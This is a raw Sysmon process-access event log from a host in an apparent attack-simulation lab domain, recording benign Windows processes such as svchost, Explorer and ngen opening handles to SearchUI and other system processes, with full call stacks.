14:45:29.242{7BD73061-6F29-613B-3508-00000000F001}70326280C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe{7BD73061-6F89-613B-BC0A-00000000F001}4140C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+3965|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+aafe|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a457|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a19d|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+a055|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+77c6|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2d26|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+9828|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+74ce|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+7395|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvc.dll+2bd9|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+8c07|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2130|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+1f0f|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+29e1|C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe+2969|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045727Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+1a962|C:\Windows\system32\windows.cortana.onecore.dll+16e12|C:\Windows\system32\windows.cortana.onecore.dll+16d5b|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d 10341000x800000000000000045726Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0E-613B-8A06-00000000F001}32685404C:\Windows\System32\RuntimeBroker.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|C:\Windows\system32\windows.cortana.onecore.dll+1a8c3|C:\Windows\system32\windows.cortana.onecore.dll+6198|C:\Windows\system32\windows.cortana.onecore.dll+16cb1|C:\Windows\system32\windows.cortana.onecore.dll+1537|C:\Windows\system32\windows.cortana.onecore.dll+4a2d|C:\Windows\System32\combase.dll+aecda|C:\Windows\System32\combase.dll+a5aad|C:\Windows\System32\RuntimeBroker.exe+12d1|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27cf|C:\Windows\System32\combase.dll+65373|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde 10341000x800000000000000045725Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000045724Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000045723Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1410C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6165f|C:\Windows\System32\SHELL32.dll+62a85|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045722Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+6299e|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045721Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.227{7BD73061-6D0F-613B-9406-00000000F001}44804920C:\Windows\Explorer.EXE{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045720Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65BF-613B-2B00-00000000F001}29645192C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\tileobjserver.dll+bce2|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 10341000x800000000000000045719Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65BF-613B-2B00-00000000F001}29645192C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\System32\combase.dll+621fb|c:\windows\system32\tileobjserver.dll+bc8f|c:\windows\system32\tileobjserver.dll+26da2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+6169d|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+7c599|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49cde|C:\Windows\System32\RPCRT4.dll+30ed7|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a 10341000x800000000000000045718Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0D00-00000000F001}8923516C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045717Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0D00-00000000F001}8923516C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045716Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0D00-00000000F001}8923516C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045715Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0D00-00000000F001}8923516C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045714Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0D00-00000000F001}8923516C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045713Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0D00-00000000F001}8923516C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+1514|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045712Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8361208C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a384|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000045708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:45:29.211{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+74d7|C:\Windows\SYSTEM32\psmserviceexthost.dll+12fce|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c61d|C:\Windows\SYSTEM32\resourcepolicyserver.dll+118d9|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000045707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 